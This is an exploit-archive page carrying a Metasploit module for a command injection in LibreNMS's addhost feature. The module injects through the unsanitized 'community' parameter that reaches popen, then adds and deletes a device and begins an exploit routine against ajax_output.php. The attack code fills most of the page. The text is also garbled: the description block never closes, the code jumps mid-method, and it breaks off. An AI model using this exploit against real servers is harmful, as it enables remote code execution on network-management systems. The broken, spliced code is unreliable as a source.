Exploits / Vulnerability Discovered : 2019-06-05 |
Type : remote |
Platform : linux
This exploit / vulnerability Librenms addhost command injection (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'LibreNMS addhost Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the open source
network management software known as LibreNMS. The community parameter used
in a POST request to the addhost functionality is unsanitized. This parameter
is later used as part of a shell command that gets passed to the popen function
in capture.inc.php, which can result in execution of arbitrary code.
fail_with(Failure::NotFound, 'Failed to add device') unless res && res.body.include?('Device added')
print_good("Successfully added device with hostname #{@hostname}")
host_id = res.get_html_document.search('div[@class="alert alert-success"]/a[@href]').text
fail_with(Failure::NotFound, "Couldn't retrieve the id for the device") if host_id.empty?
host_id = host_id.match(/(\d+)/).nil? ? nil : host_id.match(/(\d+)/)
fail_with(Failure::NotFound, 'Failed to retrieve a valid device id') if host_id.nil?
print_status('Unsure if device was deleted. No response received') unless res
if res.body.include?("Removed device #{@hostname.downcase}")
print_good("Successfully deleted device with hostname #{@hostname} and id ##{id}")
else
print_status('Failed to delete device. Manual deletion may be needed')
end
end
def exploit
exp_uri = normalize_uri(target_uri.path, 'ajax_output.php')
cookies = login